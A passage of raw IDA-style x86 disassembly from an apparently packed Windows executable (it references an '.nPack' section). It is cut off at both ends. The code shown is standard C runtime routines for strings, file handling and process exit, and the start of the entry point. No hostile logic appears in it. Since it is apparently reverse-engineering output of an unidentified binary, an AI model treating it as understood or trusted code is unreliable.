[ebp+var_20] mov edi, offset word_4927E0 movsd movsd movsd movsd pop edi mov dword_4927D8, eax pop esi loc_41759C: ; CODE XREF: sub_4174F2+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41C623 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_4175CC mov [ecx], eax locret_4175CC: ; CODE XREF: sub_4174F2+D6j leave retn sub_4174F2 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4175D0 proc near ; CODE XREF: .text:004066EEp ; sub_4087B3+42Cp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_417641 sub_4175D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4175E0 proc near ; CODE XREF: sub_406B82+15Dp ; sub_4087B3+435p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4175FC loc_4175ED: ; CODE XREF: sub_4175E0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41762F test ecx, 3 jnz short loc_4175ED loc_4175FC: ; CODE XREF: sub_4175E0+Bj ; sub_4175E0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4175FC mov eax, [ecx-4] test al, al jz short loc_41763E test ah, ah jz short loc_417639 test eax, 0FF0000h jz short loc_417634 test eax, 0FF000000h jz short loc_41762F jmp short loc_4175FC ; --------------------------------------------------------------------------- loc_41762F: ; CODE XREF: sub_4175E0+12j ; sub_4175E0+4Bj lea edi, [ecx-1] jmp short loc_417641 ; --------------------------------------------------------------------------- loc_417634: ; CODE XREF: sub_4175E0+44j lea edi, [ecx-2] jmp short loc_417641 ; --------------------------------------------------------------------------- loc_417639: ; CODE XREF: sub_4175E0+3Dj lea edi, [ecx-3] jmp short loc_417641 ; --------------------------------------------------------------------------- loc_41763E: ; CODE XREF: sub_4175E0+39j lea edi, [ecx-4] loc_417641: ; CODE XREF: sub_4175D0+5j ; sub_4175E0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_417666 loc_41764D: ; CODE XREF: sub_4175E0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_4176B8 mov [edi], dl inc edi test ecx, 3 jnz short loc_41764D jmp short loc_417666 ; --------------------------------------------------------------------------- loc_417661: ; CODE XREF: sub_4175E0+9Ej ; sub_4175E0+B8j mov [edi], edx add edi, 4 loc_417666: ; CODE XREF: sub_4175E0+6Bj ; sub_4175E0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_417661 test dl, dl jz short loc_4176B8 test dh, dh jz short loc_4176AF test edx, 0FF0000h jz short loc_4176A2 test edx, 0FF000000h jz short loc_41769A jmp short loc_417661 ; --------------------------------------------------------------------------- loc_41769A: ; CODE XREF: sub_4175E0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4176A2: ; CODE XREF: sub_4175E0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_4176AF: ; CODE XREF: sub_4175E0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4176B8: ; CODE XREF: sub_4175E0+72j ; sub_4175E0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4175E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4176C0 proc near ; CODE XREF: .text:004066E1p ; sub_406B82+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_4176D9: ; CODE XREF: sub_4176C0+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_4176D9 mov edx, [ebp+arg_0] test edx, edx jnz short loc_417701 mov edx, dword_4927F0 loc_417701: ; CODE XREF: sub_4176C0+39j ; sub_4176C0+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_417721 test al, al jz short loc_417721 inc edx jmp short loc_417701 ; --------------------------------------------------------------------------- loc_417721: ; CODE XREF: sub_4176C0+58j ; sub_4176C0+5Cj mov ebx, edx loc_417723: ; CODE XREF: sub_4176C0+81j mov al, [edx] test al, al jz short loc_417747 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_417743 inc edx jmp short loc_417723 ; --------------------------------------------------------------------------- loc_417743: ; CODE XREF: sub_4176C0+7Ej and byte ptr [edx], 0 inc edx loc_417747: ; CODE XREF: sub_4176C0+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4927F0, edx and eax, ebx pop ebx leave retn sub_4176C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417760 proc near ; CODE XREF: .text:004066A5p ; .text:004066D1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_4177DA mov dh, [ecx+1] test dh, dh jz short loc_4177C7 loc_417778: ; CODE XREF: sub_417760+52j ; sub_417760+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41779A test al, al jz short loc_417794 loc_417789: ; CODE XREF: sub_417760+32j mov al, [esi] inc esi loc_41778C: ; CODE XREF: sub_417760+3Fj cmp al, dl jz short loc_41779A test al, al jnz short loc_417789 loc_417794: ; CODE XREF: sub_417760+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41779A: ; CODE XREF: sub_417760+23j ; sub_417760+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41778C lea edi, [esi-1] loc_4177A4: ; CODE XREF: sub_417760+63j mov ah, [ecx+2] test ah, ah jz short loc_4177D3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417778 mov al, [ecx+3] test al, al jz short loc_4177D3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_4177A4 jmp short loc_417778 ; --------------------------------------------------------------------------- loc_4177C7: ; CODE XREF: sub_417760+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_417B66 ; --------------------------------------------------------------------------- loc_4177D3: ; CODE XREF: sub_417760+49j ; sub_417760+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_4177DA: ; CODE XREF: sub_417760+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417760 endp ; =============== S U B R O U T I N E ======================================= sub_4177E0 proc near ; CODE XREF: sub_417ED0+93p mov eax, off_435A6C test eax, eax jz short loc_4177EB call eax ; sub_415E6A loc_4177EB: ; CODE XREF: sub_4177E0+7j push offset dword_42962C push offset dword_429314 call sub_4178E6 push offset dword_429210 push offset dword_429000 call sub_4178E6 add esp, 10h retn sub_4177E0 endp ; =============== S U B R O U T I N E ======================================= sub_41780D proc near ; CODE XREF: sub_417ED0+D2p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_41784D add esp, 0Ch retn sub_41780D endp ; =============== S U B R O U T I N E ======================================= sub_41781E proc near ; CODE XREF: .text:00417FC1p ; sub_417FC6+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41784D add esp, 0Ch retn sub_41781E endp ; --------------------------------------------------------------------------- push 1 push 0 push 0 call sub_41784D add esp, 0Ch retn ; --------------------------------------------------------------------------- push 1 push 1 push 0 call sub_41784D add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41784D proc near ; CODE XREF: sub_41780D+8p ; sub_41781E+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_49283C, edi jnz short loc_41786A push [esp+4+arg_0] call ds:dword_4953F4 ; GetCurrentProcess push eax call ds:dword_4953F8 ; TerminateProcess loc_41786A: ; CODE XREF: sub_41784D+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_492838, edi mov byte_492834, bl jnz short loc_4178BE mov eax, dword_49429C test eax, eax jz short loc_4178AD mov ecx, dword_494298 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_4178AC loc_417899: ; CODE XREF: sub_41784D+5Dj mov eax, [esi] test eax, eax jz short loc_4178A1 call eax loc_4178A1: ; CODE XREF: sub_41784D+50j sub esi, 4 cmp esi, dword_49429C jnb short loc_417899 loc_4178AC: ; CODE XREF: sub_41784D+4Aj pop esi loc_4178AD: ; CODE XREF: sub_41784D+3Cj push offset dword_429938 push offset dword_429730 call sub_4178E6 pop ecx pop ecx loc_4178BE: ; CODE XREF: sub_41784D+33j push offset dword_429C44 push offset dword_429A3C call sub_4178E6 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_4178E4 push [esp+4+arg_0] mov dword_49283C, edi call ds:dword_495350 ; ExitProcess loc_4178E4: ; CODE XREF: sub_41784D+85j pop edi retn sub_41784D endp ; =============== S U B R O U T I N E ======================================= sub_4178E6 proc near ; CODE XREF: sub_4177E0+15p ; sub_4177E0+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_4178EB: ; CODE XREF: sub_4178E6+16j cmp esi, [esp+4+arg_4] jnb short loc_4178FE mov eax, [esi] test eax, eax jz short loc_4178F9 call eax loc_4178F9: ; CODE XREF: sub_4178E6+Fj add esi, 4 jmp short loc_4178EB ; --------------------------------------------------------------------------- loc_4178FE: ; CODE XREF: sub_4178E6+9j pop esi retn sub_4178E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417900 proc near ; CODE XREF: sub_407BA3+FAp ; sub_4087B3+3E6Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_4158E0 cmp eax, 1 pop ecx jb short loc_41793B cmp byte ptr [ebx+1], 3Ah jnz short loc_41793B mov esi, [ebp+arg_4] test esi, esi jz short loc_417937 push 2 push ebx push esi call sub_41CAD5 add esp, 0Ch and byte ptr [esi+2], 0 loc_417937: ; CODE XREF: sub_417900+25j inc ebx inc ebx jmp short loc_417945 ; --------------------------------------------------------------------------- loc_41793B: ; CODE XREF: sub_417900+18j ; sub_417900+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_417945 and byte ptr [eax], 0 loc_417945: ; CODE XREF: sub_417900+39j ; sub_417900+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_4179BD loc_417958: ; CODE XREF: sub_417900+87j mov cl, [eax] movzx edx, cl test byte_494141[edx], 4 jz short loc_417969 inc eax jmp short loc_417983 ; --------------------------------------------------------------------------- loc_417969: ; CODE XREF: sub_417900+64j cmp cl, 2Fh jz short loc_41797D cmp cl, 5Ch jz short loc_41797D cmp cl, 2Eh jnz short loc_417983 mov [ebp+var_4], eax jmp short loc_417983 ; --------------------------------------------------------------------------- loc_41797D: ; CODE XREF: sub_417900+6Cj ; sub_417900+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_417983: ; CODE XREF: sub_417900+67j ; sub_417900+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_417958 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_4179BD cmp [ebp+arg_8], 0 jz short loc_4179B8 sub edi, ebx cmp edi, esi jb short loc_4179A1 mov edi, esi loc_4179A1: ; CODE XREF: sub_417900+9Dj push edi push ebx push [ebp+arg_8] call sub_41CAD5 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4179B8: ; CODE XREF: sub_417900+97j mov ebx, [ebp+arg_4] jmp short loc_4179C7 ; --------------------------------------------------------------------------- loc_4179BD: ; CODE XREF: sub_417900+56j ; sub_417900+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_4179C7 and byte ptr [ecx], 0 loc_4179C7: ; CODE XREF: sub_417900+BBj ; sub_417900+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_417A1A cmp edi, ebx jb short loc_417A1A cmp [ebp+arg_C], 0 jz short loc_4179F7 sub edi, ebx cmp edi, esi jb short loc_4179E0 mov edi, esi loc_4179E0: ; CODE XREF: sub_417900+DCj push edi push ebx push [ebp+arg_C] call sub_41CAD5 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4179F7: ; CODE XREF: sub_417900+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_417A42 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_417A07 mov esi, eax loc_417A07: ; CODE XREF: sub_417900+103j push esi push [ebp+var_4] push edi call sub_41CAD5 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_417A42 ; --------------------------------------------------------------------------- loc_417A1A: ; CODE XREF: sub_417900+CCj ; sub_417900+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_417A38 sub eax, ebx cmp eax, esi jnb short loc_417A29 mov esi, eax loc_417A29: ; CODE XREF: sub_417900+125j push esi push ebx push edi call sub_41CAD5 add esp, 0Ch and byte ptr [esi+edi], 0 loc_417A38: ; CODE XREF: sub_417900+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_417A42 and byte ptr [eax], 0 loc_417A42: ; CODE XREF: sub_417900+FCj ; sub_417900+118j ... pop edi pop esi pop ebx leave retn sub_417900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A47 proc near ; CODE XREF: sub_4087B3+341Ep ; sub_4087B3+344Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_417A5B xor eax, eax jmp short loc_417A91 ; --------------------------------------------------------------------------- loc_417A5B: ; CODE XREF: sub_417A47+Ej dec [ebp+arg_4] push esi jz short loc_417A8B mov esi, [ebp+arg_8] loc_417A64: ; CODE XREF: sub_417A47+42j dec dword ptr [esi+4] js short loc_417A73 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_417A7A ; --------------------------------------------------------------------------- loc_417A73: ; CODE XREF: sub_417A47+20j push esi call sub_41C031 pop ecx loc_417A7A: ; CODE XREF: sub_417A47+2Aj cmp eax, 0FFFFFFFFh jz short loc_417A95 mov [edi], al inc edi cmp al, 0Ah jz short loc_417A8B dec [ebp+arg_4] jnz short loc_417A64 loc_417A8B: ; CODE XREF: sub_417A47+18j ; sub_417A47+3Dj ... and byte ptr [edi], 0 loc_417A8E: ; CODE XREF: sub_417A47+55j mov eax, ebx pop esi loc_417A91: ; CODE XREF: sub_417A47+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_417A95: ; CODE XREF: sub_417A47+36j cmp edi, [ebp+arg_0] jnz short loc_417A8B xor ebx, ebx jmp short loc_417A8E sub_417A47 endp ; =============== S U B R O U T I N E ======================================= sub_417A9E proc near ; CODE XREF: sub_4087B3+20C1p ; .text:00417ACCp arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_495394 ; DeleteFileA test eax, eax jnz short loc_417AB4 call ds:dword_495328 ; RtlGetLastWin32Error jmp short loc_417AB6 ; --------------------------------------------------------------------------- loc_417AB4: ; CODE XREF: sub_417A9E+Cj xor eax, eax loc_417AB6: ; CODE XREF: sub_417A9E+14j test eax, eax jz short loc_417AC5 push eax call sub_41C4E8 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_417AC5: ; CODE XREF: sub_417A9E+1Aj xor eax, eax retn sub_417A9E endp ; --------------------------------------------------------------------------- push dword ptr [esp+4] call sub_417A9E pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AD3 proc near ; CODE XREF: sub_4087B3+2018p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_41CB5F mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41AAED push [ebp+arg_0] mov edi, eax push esi call sub_41CBEC add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_417AD3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B10 proc near ; CODE XREF: sub_4087B3+7F3p ; sub_4145E8+2ACp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_417B41 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_417B3F jz short loc_417B41 dec ecx dec ecx loc_417B3F: ; CODE XREF: sub_417B10+29j not ecx loc_417B41: ; CODE XREF: sub_417B10+9j ; sub_417B10+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_417B10 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_417B60 loc_417B50: ; CODE XREF: sub_417B60+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_417B60 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417B60 proc near ; CODE XREF: sub_4087B3+411p ; sub_4087B3+4C0p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00417B50 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_417B66: ; CODE XREF: sub_417760+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_417B8B loc_417B78: ; CODE XREF: sub_417B60+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_417B50 test cl, cl jz short loc_417BD4 test edx, 3 jnz short loc_417B78 loc_417B8B: ; CODE XREF: sub_417B60+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_417B96: ; CODE XREF: sub_417B60+61j ; sub_417B60+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_417BD8 and eax, 81010100h jz short loc_417B96 and eax, 1010100h jnz short loc_417BD2 and esi, 80000000h jnz short loc_417B96 loc_417BD2: ; CODE XREF: sub_417B60+68j ; sub_417B60+81j ... pop esi pop edi loc_417BD4: ; CODE XREF: sub_417B60+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_417BD8: ; CODE XREF: sub_417B60+5Aj mov eax, [edx-4] cmp al, bl jz short loc_417C15 test al, al jz short loc_417BD2 cmp ah, bl jz short loc_417C0E test ah, ah jz short loc_417BD2 shr eax, 10h cmp al, bl jz short loc_417C07 test al, al jz short loc_417BD2 cmp ah, bl jz short loc_417C00 test ah, ah jz short loc_417BD2 jmp short loc_417B96 ; --------------------------------------------------------------------------- loc_417C00: ; CODE XREF: sub_417B60+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_417C07: ; CODE XREF: sub_417B60+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_417C0E: ; CODE XREF: sub_417B60+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_417C15: ; CODE XREF: sub_417B60+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_417B60 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] add eax, 20h retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C24 proc near ; CODE XREF: sub_40FB1A+6p ; sub_40FB3F+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_49288C, 0 push ebx push esi push edi jnz short loc_417C51 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_417CEA cmp eax, 5Ah jg loc_417CEA add eax, 20h jmp loc_417CEA ; --------------------------------------------------------------------------- loc_417C51: ; CODE XREF: sub_417C24+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_417C85 cmp dword_435E38, esi jle short loc_417C73 push esi push ebx call sub_41BDD1 pop ecx pop ecx jmp short loc_417C7D ; --------------------------------------------------------------------------- loc_417C73: ; CODE XREF: sub_417C24+42j mov eax, off_435C2C mov al, [eax+ebx*2] and eax, esi loc_417C7D: ; CODE XREF: sub_417C24+4Dj test eax, eax jnz short loc_417C85 loc_417C81: ; CODE XREF: sub_417C24+ADj mov eax, ebx jmp short loc_417CEA ; --------------------------------------------------------------------------- loc_417C85: ; CODE XREF: sub_417C24+3Aj ; sub_417C24+5Bj mov edx, off_435C2C mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_417CA9 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_417CB2 ; --------------------------------------------------------------------------- loc_417CA9: ; CODE XREF: sub_417C24+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_417CB2: ; CODE XREF: sub_417C24+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_49288C call sub_41CC29 add esp, 20h test eax, eax jz short loc_417C81 cmp eax, esi jnz short loc_417CDD movzx eax, [ebp+var_4] jmp short loc_417CEA ; --------------------------------------------------------------------------- loc_417CDD: ; CODE XREF: sub_417C24+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_417CEA: ; CODE XREF: sub_417C24+16j ; sub_417C24+1Fj ... pop edi pop esi pop ebx leave retn sub_417C24 endp ; =============== S U B R O U T I N E ======================================= sub_417CEF proc near ; CODE XREF: sub_4113B6+55p ; sub_412976+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_417D06 loc_417CFC: ; CODE XREF: sub_417CEF+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_417CFC loc_417D06: ; CODE XREF: sub_417CEF+Bj sub eax, ecx sar eax, 1 dec eax retn sub_417CEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D0C proc near ; CODE XREF: sub_4113B6+19p ; sub_4113B6+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_417DD9 mov edi, [ebp+arg_8] cmp edi, esi jz loc_417E06 cmp dword_49288C, esi jnz short loc_417D5D cmp edi, esi jbe loc_417E06 loc_417D3C: ; CODE XREF: sub_417D0C+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_417E06 inc eax inc edx inc edx cmp eax, edi jb short loc_417D3C jmp loc_417E06 ; --------------------------------------------------------------------------- loc_417D5D: ; CODE XREF: sub_417D0C+26j mov ebx, [ebp+arg_4] mov esi, ds:dword_4953EC push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_49289C call esi ; MultiByteToWideChar test eax, eax jnz loc_417E05 call ds:dword_495328 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_417D97 loc_417D88: ; CODE XREF: sub_417D0C+CBj ; sub_417D0C+F7j mov dword_4927F4, 2Ah or eax, 0FFFFFFFFh jmp short loc_417E06 ; --------------------------------------------------------------------------- loc_417D97: ; CODE XREF: sub_417D0C+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_417D9F: ; CODE XREF: sub_417D0C+B3j mov cl, [eax] test cl, cl jz short loc_417DC1 mov edx, off_435C2C movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_417DB6 inc eax loc_417DB6: ; CODE XREF: sub_417D0C+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_417D9F loc_417DC1: ; CODE XREF: sub_417D0C+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_49289C call esi ; MultiByteToWideChar test eax, eax jnz short loc_417E06 jmp short loc_417D88 ; --------------------------------------------------------------------------- loc_417DD9: ; CODE XREF: sub_417D0C+Fj cmp dword_49288C, esi jnz short loc_417DEC push [ebp+arg_4] call sub_4158E0 pop ecx jmp short loc_417E06 ; --------------------------------------------------------------------------- loc_417DEC: ; CODE XREF: sub_417D0C+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_49289C call ds:dword_4953EC ; MultiByteToWideChar cmp eax, esi jz short loc_417D88 loc_417E05: ; CODE XREF: sub_417D0C+6Bj dec eax loc_417E06: ; CODE XREF: sub_417D0C+1Aj ; sub_417D0C+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_417D0C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417E10 proc near ; CODE XREF: sub_413B9E+11Bp ; .text:00416D61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_417E29 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_417E29: ; CODE XREF: sub_417E10+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_417E10 endp ; =============== S U B R O U T I N E ======================================= sub_417E44 proc near ; CODE XREF: sub_4145E8+2E2p ; sub_4145E8+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_417EC0 mov edi, [esp+8+arg_8] test edi, edi jz short loc_417E63 cmp edi, 1 jz short loc_417E63 cmp edi, 2 jnz short loc_417EC0 loc_417E63: ; CODE XREF: sub_417E44+13j ; sub_417E44+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_417E7A push esi call sub_41CF12 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_417E7A: ; CODE XREF: sub_417E44+27j push esi call sub_41BF5F mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_417E8F and al, 0FCh mov [esi+0Ch], eax jmp short loc_417EA3 ; --------------------------------------------------------------------------- loc_417E8F: ; CODE XREF: sub_417E44+42j test al, 1 jz short loc_417EA3 test al, 8 jz short loc_417EA3 test ah, 4 jnz short loc_417EA3 mov dword ptr [esi+18h], 200h loc_417EA3: ; CODE XREF: sub_417E44+49j ; sub_417E44+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41CE78 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_417ECD ; --------------------------------------------------------------------------- loc_417EC0: ; CODE XREF: sub_417E44+Bj ; sub_417E44+1Dj mov dword_4927F4, 16h or eax, 0FFFFFFFFh loc_417ECD: ; CODE XREF: sub_417E44+7Aj pop edi pop esi retn sub_417E44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ED0 proc near ; DATA XREF: .nPack:off_496E00o var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4275E8 push offset sub_41D854 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp+var_18], esp call ds:dword_495448 ; GetVersion xor edx, edx mov dl, ah mov dword_49280C, edx mov ecx, eax and ecx, 0FFh mov dword_492808, ecx shl ecx, 8 add ecx, edx mov dword_492804, ecx shr eax, 